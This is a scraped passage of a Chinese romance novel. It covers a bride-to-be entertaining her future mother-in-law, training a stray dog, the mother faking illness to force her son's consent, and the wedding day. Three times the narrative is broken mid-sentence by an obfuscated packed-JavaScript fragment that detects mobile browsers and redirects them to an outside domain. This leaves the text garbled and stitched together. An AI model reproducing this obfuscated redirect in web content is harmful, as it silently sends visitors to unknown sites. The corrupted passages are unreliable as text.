倒是李青壑素与他亲近，两人又有不可告人的谋划，发现卜世友失踪后费心打听好一阵。 得知卜世友是因老母重病连夜退了租住的房屋，收拾东西回到老家带母亲不知去何处寻医问药，李青壑虽恼他事还未完就不告而别，也感念对方一片孝心，怏怏歇下寻他的念头。 至于城中游手好闲的流民悄无声息少了几个，更无人在意。 此为后话。 且说当日严问晴安排好诸事，熬了一宿的困倦夹杂着郁闷气势汹汹反扑，她也不想继续强撑着理事，便令凝春为她卸下环钗，放下帐幔好好睡了一觉。 凝春到廊下准备娘子要用的蔻丹粉，往其中加入明矾。 她有些心不在焉。 主子用签订卖身契这样迂回的方式堵住卜世友的嘴，原因很简单——杀人犯法。 即便是奴仆也不能随意打杀。 杀人灭口，没有人能保证会永远不漏痕迹。 但“货物”的买卖却是天经地义。 哪怕是人货。 只是这些年娘子从未采用如此手段。 凝春先时对主子将赌坊债权拱手相让很是不甘，经此一事终于感到庆幸。 严问晴常年游走于明暗之间，尽管自己有所察觉，但还是行事作风上还是难以控制地沾染阴霾，她不会主动陷害，但若有人算计到她头上，她的手段亦是异常阴狠。 约睡了两个时辰。 至午后，凝春听得主子唤她，遂歇下手中研磨的香粉，入内侍奉。 没过多久，有仆从来告，杜夫人登门。 严问晴想了想，未使凝春为她梳扮严妆，只将青丝拢起，拿簪子松松绾住，又换了身家常的衣裙，便去前厅见客。 “晚辈午间小憩，忽闻夫人莅临，恐怠慢贵客匆匆前来，尚未梳妆得体，还请夫人见谅。” 杜夫人见严问晴盈盈一拜，不饰华物显清丽脱俗，更觉喜爱。 她上前搀扶，笑说自己忽然来访才是唐突。 但见严问晴手上包着纱布，难免要多问几句，严问晴推说是制香时不慎剐伤了手。 挨得近，严问晴身上清甜似果香的气味丝丝缕缕飘来，杜夫人对这清新淡雅的香气很感兴趣，径直开口询问。 严问晴道：“大约是我贪眠沾染了帐中香。” “此香如何炮制的？” 严问晴笑道：“取榅桲去瓤核，以檀香末、沉香末十一之数填入，放蔗皮、肉桂少许，复蒸三次去皮，将果肉与香末一同研匀制成香饼，窖藏一冬。不过这香只可隔火熏烤，若见明火要生浊气的。” 杜夫人听着制法耳熟，稍一思忖后想起来：“这不是江南李主帐中香制法吗？” “夫人博学。”严问晴见杜夫人提到香方来源蹙眉，显然是对其并无好感，她也未生慌乱，落落大方道，“晚辈观前朝香谱得知此方，只是循谱制之，甜香深重不大合晚辈的心意，遂改其方，有木香果香兼得。可惜这香方一改，便不宜明火焚香了。” 杜夫人眉间松懈。 她不喜欢鹅梨的馥郁甜香，没想到有个和她一般想法的妙人儿改了香方，所得香气这般合她心意。 “世上无十全十美之事。”杜夫人笑道，“不过既是帐中香，以隔火熏烤，倒比明火点燃更叫人安心。” 严问晴便吩咐凝春取香。 她将去岁炮制尚未启封的香饼赠与杜夫人，二人又亲亲热热地聊了会儿制香。 话头暂歇，杜夫人才道明来意。 原来昨日道上公然有劫匪现身，福佳寺的僧人必定要将此事广而告之，以免其他香客受害，虽未明说是哪家遭遇劫道，但杜夫人想到昨日相约严问晴，她因儿子算计并未现身，那小子也不是个懂事守礼的，八成没有替自己向严问晴解释一二，加上听闻山匪之事，杜夫人便决定亲自登门探望。 她又想昨夜李青壑提及山匪。 分明就是当天发生在福佳寺的事情，他偏推说风闻，也不知葫芦里卖的什么药。 杜夫人心有狐疑，更是着急见严问晴一面。 但见严问晴闲适自若。 听杜夫人提到山匪时她面露讶然，以手抚膺似后怕般道：“幸好晚辈离得早，若天色晚了，恐要遭歹人毒手。” 杜夫人悬着的心放下些。 她道：“昨日家中有些急事，我脱不开身，使青壑孤身赴约，这小子素日不着四六，不知是否冒犯到你。” 严问晴抿唇一笑，摇摇头：“晚辈并未见到李公子。” 听此杜夫人便知李青壑昨日确实未道明身份，至于他说的佯装不识上前搭话之事，无法向严问晴打探，故不明真假。 杜夫人叹了口气。 心知李青壑还是不情愿这桩婚事，总闹些难登大雅的脾气。 她心里有气，便忍不住当着严问晴的面抱怨道：“这孩子贪乐顽劣，实在不让人轻省。我早晚要叫他气出毛病来。” 严问晴道：“李公子只是生性纯质。人所皆知，他待夫人最是孝顺，哪里愿意母亲为他操劳烦心。” “更何况，”严问晴眼皮微垂，“若是夫人偶感不适，纵要龙肝凤髓滋补、骊珠麟角入药，他也会为夫人寻来。” 杜夫人知道严问晴在哄她。 但为人母者，纵使对孩子千万个不满，听旁人夸赞自己的孩子，难免眉开眼笑。 “他要真这般孝顺就好了。”杜夫人笑叹道。 严问晴玩笑道：“夫人不妨一试，只要您皱皱眉头，令郎必然关怀备至。” 杜夫人被这话逗笑。 一笑之后，她脑海中忽然闪过个念头——患病……何不以彼之道还治彼身？ 杜夫人起了心，一面同严问晴说笑，一面暗自揣度。 聊到后晌将至杜夫人才推拒了严问晴留饭的邀请，依依不舍地起身告别。 严问晴亦紧随相送。 正走到前门，忽闻一片吵嚷。 “你这畜生！快站住！” 主客纷纷止步。 但见一条跛足的大黄狗跑得飞快，后边跟着一溜厨子仆从都追不上它。 这狗嘴筒子咬着一整只烧鸡，正洋洋得意。 一昂首，恰与严问晴对上。 狗爪子猛地刹住，心虚地后退两步，又急忙将口中烧鸡放下，换了副嘴脸，咧开狗嘴忠心耿耿般蹲坐在旁，期待地盯着严问晴。 好似它偷了这只烧鸡是为奉献给严问晴的。 追这畜生追得气喘吁吁的众人，见冲撞主家及其客人，慌忙停下行礼告罪。 严问晴对杜夫人道：“这狗野性未驯，叫夫人看笑话了。” 杜夫人打量着这只黄狗，见它独独望着严问晴，不为周遭嘈杂所动，便知这是一条好狗，笑道：“它健壮勇猛，假以时日必能为你看家护院保卫一方。” “我不过养它来逗趣儿，夫人阅历远胜于我，既如此说，我真要好好驯养它。” 二人说笑着往外走。 谷子见严问晴不理它，竟“汪”一声，插入二人的对话中。 “闭嘴。”严问晴回首厉色以对。 谷子又小声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488710|185753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呜咽，委屈巴巴地坐在原地。 待送离杜夫人，严问晴回来的时候，它还乖乖蹲坐在烧鸡旁。 好好的一只烧鸡沾满灰尘泥土，黏糊糊涂着狗子的口水，上边还有一对鲜明的牙印。 严问晴却俯身拾起烧鸡，将它递给凝春。 谷子大惊失色，可怜兮兮地起身围着严问晴打转——它大抵没想到，高高在上的主人当真要与它抢这口脏兮兮的食。 “坐下。”严问晴沉声道。 谷子犹犹豫豫地看着严问晴，好半天才磨磨蹭蹭地坐下。 一旁的凝春已将烧鸡拆解成骨肉分开。 严问晴捡一小块鸡骨握在手中，伸到谷子面前。 谷子凑上去嗅闻。 虽然那么大个烧鸡只剩下严问晴手里这点儿骨头给它，实在叫狗失望，但它也不嫌弃，抬爪子拨弄严问晴的手。 可严问晴依旧攥紧。 谷子放弃扒拉，疑惑地看向严问晴。 “好样的。” 严问晴笑着张开手，将骨头给它。 她又另挑了块握在手中。 如此重复几次，聪明的谷子便知道只要自己放弃从严问晴手中掏出骨头，严问晴就会主动把食物给自己。 而后严问晴又换了个词儿，在谷子移开的瞬间，严厉地说：“别碰。” 再重复几次后，只要严问晴说“别碰”，谷子便会偏头看向她。 严问晴见它如此聪慧，心情大好。 于是趁热打铁，取骨头置于地。 在狗子眼里，凡主人丢到地上的，那都是它的食物。 谷子正要低头叼走骨头，却听严问晴厉声道：“别碰。” 它茫然地看向严问晴。 严问晴展颜一笑，取了块鸡肉递给谷子。 ——只要乖乖听话，它就能吃到更好的东西。 凝春津津有味地看着。 真想不到那只凶狠的野犬，在娘子的驯养下，能变得如此懂事听话。 待严问晴乏了，凝春绞好干净的帕子递给她擦拭。 主仆二人往里走，谷子亦步亦趋。 左右无人，凝春终于将心中好奇问出口：“方才娘子怎知那李家少爷没有将昨日实情告知杜夫人？” “原只有猜测，与夫人聊上几句才笃定。” 谷子听不懂，昂着头紧盯严问晴。 严问晴揉了揉它的脑袋。 凝春又犹豫着问：“娘子何不借此事推了李家的婚事？” 李家那纨绔为了退婚能干出这种事，在凝春看来，这桩婚事无异于火坑。 严问晴却笑道：“我退了婚事，岂不是遂了他的愿？” 凝春闻言大为不解。 她与严问晴的想法大相径庭，都说婚姻是女子的终身大事，明明知道所托非人，为什么不及时止损？ 严问晴摩挲着谷子的狗耳，随口道：“更何况是他有亏在先，我为何要退？” 凝春再问：“那杜夫人在的时候，娘子为什么不直言相告？奴婢看杜夫人是个正直讲理的好人，且请她为您做主。” 严问晴道：“你看杜夫人如此喜爱我，其实是因为我将成为她的儿媳。你觉得她得知独子背地里做出伙同流民佯装匪徒掳劫良家的事情，还会偏帮于我吗？” 她悠悠叹气：“诚然，杜夫人家风清明，或许会秉公处理此事。可我岂敢赌慈母之心?” 凝春心下一片失落。 不知怎么，听严问晴说完，她只觉得四面楚歌。 “傻凝春。”严问晴瞧出她的哀戚之意，笑道，“不是不报，时候未到呀。” 13. 经点拨杜夫人请君入瓮，逼就范李…… 且说杜夫人归家路上，考虑着新冒出的想法。 她从未干过这样的事情，想想就觉得赧然，可李青壑这小子实在是驴脾气，前些日子甚至以死相逼。 而这门亲事又让杜夫人满意至极。 越是同严问晴接触，她便越发觉得严家娘子与她所想的儿媳模样一般无二。 说亲都说上一半，她绝不可能听李青壑一句“不喜欢”，就半途而废，落得两家无脸。 思来想去，杜夫人愈加坚定。 回到李家后，杜夫人等丈夫回来，同他商量一番，李父听完也面露讶然。 他忍着笑点头，恼得杜夫人拿扇子砸他。 总之这夫妻俩商定好坑骗独子的策略。 李青壑尚一无所知。 自从他拾了不该拾回家的东西，夜里常有怪梦到访。 梦里酥麻入骨，醒来却惶恐难安。 万幸李氏家大业大，隔三岔五就销毁一条绸缎裤子也没得人在意，见少爷没有自焚的意思，栖云院上下且由着李青壑大清早烧裤子玩。 然而治标不治本。 李青壑偏舍不得丢开香囊。 且他也是有正当的理由。 若是随意丢弃了这枚香囊，叫某些淫贼歹人拾去，那不是损害了严家娘子的名声吗？ 倒是分毫不觉现在正持着香囊的家伙，就干着最大的淫贼之举。 至于将小小一枚香囊毁去就得了，大概是李少爷勤俭持家，从未想过这种好端端称心如意的物件销毁浪费的主意。 且休问那些化作灰烬的丝绸纨裤。 它们自堕不洁惹了李少爷难堪，毁尸灭迹岂不合情合理？ 总而言之，李少爷一根筋成了两头堵，日日烦闷，那股子燥意憋成戾气，饶是竹茵都不敢在他面前淘气。 李青壑自觉不能再继续下去。 他去寻了卜世友几次，皆吃得闭门羹，询问邻里得知好几日未见卜世友。 一贯没什么耐心的李少爷这回竟是不见棺材不掉泪，摆出掘地三尺也要把卜世友找出来的架势，立誓要将香囊交给他杜绝后患。 ——他早有过这主意，先前举棋不定，在发现卜世友失踪后，倒是越发坚定了。 李青壑在外脚不离地的奔走，打听卜世友的去向，如此忙忙碌碌，既泄去些许憋闷在心不得抒发的燥意，又得了几分重情重义的好名声。 不过，这好名声传到严问晴耳中，只得她一声冷笑。 皇天不负有心人。 李青壑终于打一名游医口中得知，卜世友老母身患重病，他回乡下带着老母外出寻药。 甫一得知这个消息，李青壑嘴角下意识上扬。 随后他察觉自己嘴角不大听话，急忙将它压下去，忧心忡忡地叹了一口气：“世友兄一走，我可怎么办啊。” 正游荡街头思索其它借口。 啊不，是其它解决方法。 李青壑忽然被李家家仆拦住，对方额上满是汗水，急得满面通红，气喘吁吁地道明情况。 ——杜夫人忽生急症晕了过去。 李青壑大惊失色，一路疾驰归家，但见阖家上下神情肃穆，李父眉头紧锁在廊下来回踱步，秋姑姑倚在屏风边暗暗拭泪。 屋里窗户紧闭，床幔放下避风。 大夫沉着脸长叹一声。 看着可比李青壑当时装病像那么回事多了。 李青壑见此情此景，脚下一个踉跄，险些跌倒在地。 他连声唤着亲娘，冲到杜夫人床前。 主院的仆从纷纷上前拦他，又呜呜咽咽哭成一团。 最终还是李父厉声呵住乱糟糟的局面，对李青壑道：“你娘身体不适，你不要在这儿扰她清净。” 李青壑抓着床架不放。 他扭头冲着李父询问母亲这是怎么了。 李父道：“郁结于胸，急火攻心。” 李青壑面露茫然。 李父心想：这蠢货不说明白根本想不通。 于是他又道：“被你气的。” “不可能！”李青壑朗声否认。 大夫收了财帛，兢兢业业上前解释并劝李青壑这个“病根”先离开。 李青壑吃亏在不通医理，见大夫言之凿凿，所有人都笃定是他害得杜夫人得病，一股委屈铺天盖地涌出，他抹了把眼，咬牙一步三回首地离开主院。 等人走远，杜夫人一掀被子，忧心忡忡向外张望。 就连当初翰林父亲坚决反对她下嫁李父时，杜夫人都没做过类似的荒唐事儿。 也是因她从来正经，李青壑丝毫没怀疑亲娘做局骗他。 夫妻俩对视一眼。 看出妻子担忧孩子，李父立刻吩咐人去寻李青壑，且按计划行事。 李青壑不是矫情的性子，即便得知母亲因他而病，也只想着寻医问药，赶紧医治好杜夫人。 不过他还没踏出李家的家门，就撞见李家铺面的掌柜。 对方好似尚未得知杜夫人患病，与李青壑见礼后询问杜夫人的去向。 李青壑知道他是铺面上的事要同母亲商议汇报，忙将杜夫人的身体状况言简意赅地说明，要他暂且回去，待杜夫人身体大好后再来。 掌柜愕然：“夫人前几日还去看了礼服的面料，面有喜色，身体康健，怎么忽然……” “少爷。”秋明匆匆赶来，“夫人醒了，正唤你呢。” 李青壑闻听此话，顾不得深思掌柜的话，扭头往主院跑去。 重归主院，见父亲端着药碗为母亲喂药，母亲面色苍白，有气无力，李青壑眼眶霎时间红了，半跪着伏在杜夫人膝头。 夫妻俩面面相觑。 李父还朝妻子挑了挑眉。 杜夫人叹一口气道：“我这不是没事了吗？休要在此轻狂。” 李青壑咬牙不语。 杜夫人原本满满的腹稿，这会儿一个字也说不出口，只轻抚着孩儿的后脑。 直到她推说困倦，李青壑才起身郁郁告退。 杜夫人给秋明打了个眼色。 秋明得令，跟着李青壑走出去，“安抚”李青壑道：“少爷莫急，只要您好好的，夫人便不会倒下。前几日挑选婚宴礼服的时候，夫人还期待着喝上一杯媳妇茶呢。” 李青壑沉默半晌，才闷声道：“请秋姑姑让娘放心，我不会再胡来了。” 做戏要做全套。 杜夫人硬在病榻上“休养”了一旬，受着往来亲眷的探望。 严问晴得知杜夫人病倒后，亦备好一份厚礼至李家。 她与杜夫人温声说了会儿话，告辞后刚走出主院，便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488711|185753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被一个唇红齿白的小厮拦下，对方禀明身份，以李青壑的名义请她往小园一叙。 严问晴跟着那名唤竹茵的小厮，至李家的后园。 园中题字“明景”，芳草萋萋，芷兰玉立，风景雅致惹人爱怜。 周遭时有仆从往来，身边还跟着凝春，严问晴自然不担心私相授受之嫌。 竹茵将严问晴引至假山下，他则退到看得见听不着的距离。 假山后传来一道声音。 李青壑唤了声“严娘子”后，主动告知身份。 严问晴听他的声音，不似前几次那般语调昂扬，这会儿像一只落水的鹌鹑，沉闷不乐。 她佯装未觉，依礼问好。 李青壑道：“我原不打算与你成婚。咱们素未谋面，你还大我三岁，这桩婚事实在不配。” 他倒是快人快语，气得凝春挥着拳头想打人。 又听李青壑道：“只是我娘实在喜欢你，而今她身体不好，我不想再惹她心烦，只能打掉牙往肚里吞。” 这话听得严问晴这样沉着的人都有些手痒痒。 她冷声道：“还请李公子直言意欲何为。” 李青壑倒也没笨到听不出严问晴话中怒意，忙画蛇添足解释道：“严娘子你是个好人，只是我们不合适。” 严问晴忍了好半天，才把“少说废话”咽回去。 “我想与严娘子约法三章。”李青壑终于讲明这一出的来意，“虽然成婚，但不做真夫妻，待我娘身体大好，咱们再行和离。至于聘礼、严娘子在李家的吃穿用度，皆做酬谢，你若担心婚事不便，我必替你寻一门绝佳的婚事。” 严问晴听出来了。 这小子当她是个爱慕虚荣的女人，想用银两买她做戏哄亲娘高兴。 严问晴无声冷笑。 她沉声道：“多谢李公子厚爱。我早已听闻阁下以死相逼也不愿娶我为妻的事迹。我知芝草无根，醴泉无源，李公子无意结两姓之好，我亦早有推拒婚事的打算。只是杜夫人素待我亲厚，我父母双亡，将杜夫人视作亲人。而今她既然因此事劳神，我便舍命相陪，与君共唱一出孝子贤媳。至于聘礼以当酬谢之言，还请李公子休要再提。” 言罢，严问晴拱手告辞。 就是傻子也能觉察出来严娘子生气了。 可李青壑这半个傻子，知其然而不知其所以然，躲在假山后怔怔地听着脚步声远去，还闹不明白自己的话怎么惹了严问晴不快。 也许是因为自己躲躲藏藏，毫无诚意。 李青壑抠着假山上的青苔想。 但是……但是…… 李青壑绞尽脑汁，终于从哪个疙瘩角里挖出自己先前找好的借口。 ——到底未婚，需要避人口舌。 倒不见李小爷作怪的时候，有多怕人说闲话。 更何况，他心中未明的小角落里，某些真实想法可谓清清楚楚。 一道模糊的身影就能勾得他魂牵梦萦，一枚小小的香囊就能引得他焦躁难安，若是真的得见玉容，李青壑可不敢保证自己还能不能骨气十足地拒绝这位硬塞给他的佳人。 当然，李青壑绝不承认。 否则这夯货就会发现，不论如何，他早晚都是要见到严问晴庐山真面目的，总不能成婚后还整日搬一座假山横亘在二人中间吧？ 14. 得过且过远虑抛之脑后，三书六…… 李小爷向来无有远虑，只专注对付到了跟前的近忧。 能躲一天是一天。 那头主仆二人出了李家，凝春着急地开口：“娘子真打算与这李少爷做假夫妻？若是日后和离，娘子该当如何是好？” 她只为严问晴日后的婚事着急。 严问晴却笑道：“需让他知道，请神容易送神难。” 且说这二人各怀鬼胎的定个劳什子“假成婚”的约定，没了李青壑搅局，这桩婚事推进的无比顺利，请期送日子，婚礼定在次年开春，两家皆为迎亲的日子忙碌起来。 李青壑的栖云院都扩建一倍有余。 头几个月，李青壑还能压住那点若有若无的紧张，权当没这回事，自同狐朋狗友出去玩。 又逢秋高气爽，纨绔子弟间流行起促织。 李青壑花了大把银两，买了只赤金匀称，腹紧腿粗牙如剪刀的好蟋蟀替他鏖战疆场，近乎百战不殆，在一众朋友里颇有威名，得“威猛大将军”之戏称。 然而好景不长。 待冷风一吹，秋叶落尽，再凶猛的蟋蟀也不可语冰，斗蟋蟀的篷子日渐门庭冷落。 人言道秋后的蚂蚱蹦跶不了几天。 蟋蟀也脱不开这条铁律。 李青壑眼看着自己那威猛大将军病殃殃的模样，向它逼近的寒冬，就像紧箍一样掐在他脖子上的婚期，让他与这小虫儿感同身受起来。 待威猛大将军泰山其颓，李青壑竟捧着装殓遗骸的小盒，背人痛哭了一场。 随后用他那斗大的烂字，亲自为劳苦功高的大将军写下一封只有情真意切，毫无美感可言的悼词，又备好纸钱随葬，将威猛大将军葬于庭中树下，封土时还倚靠树身哀哀叹息。 周遭被强令来为大将军送行的仆从瞧得好一阵牙酸。 过了冬，那真是数着日子以待婚时。 因怕从酒肉朋友口中听到诸如“讨一杯喜酒”这样的吉利话，冬日里李青壑甚至连家门都不出，成日不是舞刀弄枪就是看话本解闷，所有邀约皆拒，唯一一次出门还是有个相熟的促狭鬼给他送了一筐针线，笑话他活似待嫁闺中，气得李小爷提着棍棒打上门，同此人斗上数百回合，狠狠泄了一口郁气。 严问晴才不管李青壑那头是何情境。 她自有琐事烦忧。 因家中无长辈，严问晴凡事皆需亲历亲为。 除了清点整理嫁妆、安排家中事务外，还有女红这一项最为繁琐的事情。 不过严问晴只亲手为杜夫人缝制鞋袜荷包衣带，其余用以展示妇功的礼品用物，或由身边侍女绣制，或暗中在外采买，几乎不经她的手。 去岁冬，杜夫人遣仆从送来一箱狐皮。 顶上那条红狐皮的品质却不大配它摆放的位置。 毛色、毛密皆泛泛，最关键的是，狐皮中央一道两指宽的箭口，破坏了这块狐皮的完整，让好端端的狐皮变成一块边角料。 猎户知道什么样的狐皮才能卖出好价钱，绝干不出此等暴殄天物的事情，加之其所摆放的位置，严问晴略一思索，便知此物八成是李家那小少爷猎的，并未对这块狐皮露出任何不同的神色。 果不其然，送狐皮的管事主动笑道：“这件狐皮乃是我家公子十五岁初次上山时猎得，转赠严娘子，聊表心意。” 严问晴露出惊喜的神采。 不过管事语焉不详，她却心知肚明，这条狐皮定是杜夫人做主送来的，李青壑将狐皮孝敬给母亲，恐怕还不知道亲娘已经借花献佛了。 况且这是一条颇作纪念的狐皮。 严问晴也不可能把它裁了补到哪条裘衣上，抑或是做成暖额、袖笼这样的小件，虽转赠给她，实为“定情”之物，需得她细细供起来才是。 她取箱中其余狐皮，使人制成数样各类小件自用或是送人。 至于婚服，由严问晴亲自选料定款。 因本朝不究婚服僭越，龙凤云海的样式几乎叫婚服用烂了，严问晴自然不喜。 石榴葡萄纹虽清新可爱，可一想到背后蕴藏的多子多福寓意，再想起李家那不着调的小少爷，连带着精致的纹路都骇人起来。 看来看去皆不合她的心意。 最后严问晴亲手绘制一副晴空行鹤的图案，先交由杜夫人过目。 杜夫人见画作精美，仙鹤栩栩如生，不仅是清雅脱俗的好兆头，又谐音暗藏二人的名字，便高兴应下。 绣娘以此图为准，为严问晴绣制婚服。 倒是严问晴看着案上自己一笔一笔绘出的画作，难得露出怅然若失的神情。 时间跑得飞快。 及至安平县第一纨绔的婚期，竟有几分万人空巷的热闹。 迎亲前夜，李青壑在床上辗转反侧，灌了一壶安神茶，只憋出频频尿意，没生出半点困倦。 直到三更锣声响起，才堪堪闭眼。 然而李青壑眼睛一闭一睁，外边还是大黑的天，他实在是睡不着，遂披了件外衣走到屋外。 栖云院的摆设装潢和半年前大不相同。 除了因婚礼摆上的装饰外，院子里还多上许多雅致的花草树木、假山池水，只在侧面给他留了一块使枪弄棒的空地，虽说因栖云院扩建，地盘大小与从前相差无几，可被琪花瑶草簇拥着，显得那块光秃秃的地方突兀又局促。 ——这分明是我的院子！ 李青壑撇开眼，打量一圈记忆里住了十几年的地方，陌生又熟悉——这座院子已经做好迎接一位女主人的准备，但李青壑的心显然没有准备好容纳一个寥寥数面的陌生人。 虽然他频频梦见…… 李青壑霎时间红了面孔，立马使劲锤锤脑门，把某些下流的念头捶打出去，加快步子往外走，也不知道自己究竟要去哪儿。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493238|185753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他行走其间，数不清被初春的小虫儿扑了多少回。 直到瞧见挂着大红灯笼的院门，鲜艳的“喜”字落入李青壑眼中，他才如梦初醒般停下脚步，却没有往回走，怔怔地环顾四周，忽然在一池清泉里望见月夜倒影。 李青壑抬头，见一轮弯月伴着漫天繁星，点缀着浓墨似的黑天，像一枚沉静的瞳子。 奇异的是，李青壑心头挥之不去的燥意莫名平息许多。 我今日要成婚了。 这个念头突然钻出来，像是生出根，死死扎进他的五脏六腑里，镇压了飘摇的心绪，也短暂的把什么“权宜之计”丢到一边，只管好现在的宁静。 待他转回房时，竹茵一干人已准备出去寻他。 原是怕李青壑临阵反悔。 他要是猫到哪个角落里，天大地大，那可真是难寻了。 李青壑木着一张脸，任由仆从服侍着他梳洗装扮，换上合身喜庆的礼服，又取一点儿妆粉掩盖他眼下青黑，他单是站着，倒有几分翩翩公子的味道。 其实李青壑不知道自己是怎么换好衣服、骑着马迎亲的。 等他站到严家门前，在一阵喧闹后，得见向他款款走来的新婚妻子，那些嘈杂闹腾的动静忽然消失了。 李青壑猛地深吸了一口气，这才意识到自己正是活着的。 那强压下去一阵子的紧张汹涌反噬，叫他整个人都僵住，甚至连自己身处何地都忘了，在周遭催促下，才同手同脚地上前迎接新娘。 看客的哄笑也进不了他的耳。 他握住送亲福人双手递来的红绸，看着盖着盖头的新娘子，莫名产生一种奇怪的不真实感。 “严……娘子？”李青壑迟迟不动，反如是轻声开口。 盖头下的严问晴闭了闭眼，她现在只想以手扶额。 好端端的杵在这儿做什么？ 严问晴真是看李青壑哪儿哪儿都不顺眼，单觉得这家伙是存心堵门口要给她难堪。 因循着古礼斋戒，严问晴今早一口吃的没入肚，只喝了一碗合和汤，叫人簇拥着梳妆打扮不停歇，煎熬了两个时辰，走上这一段路她都觉得头晕眼花，脑海中唯余一个念头——快点上花轿让她松快松快。 偏有个冤家搅局。 还莫名其妙唤她一声。 有病？ 严问晴没好气的“嗯”了一声。 不曾想身旁竟似欢快般传来一道低低的傻笑，不知道他开心个什么劲。 万幸这小子没继续折腾她，老老实实牵着红绸将严问晴引到花轿前，由两边迎亲福人掀起轿帘迎新人入轿。 轿帘落，迎亲的队伍向道喜的看客分发花生、饴糖。 起轿。 两列乐师奏丝竹之音，轿后小童撒香草绢花，一顶精美绝伦的花轿走过大半个安平县城，在一路道喜的热闹声中抵达李氏宅邸。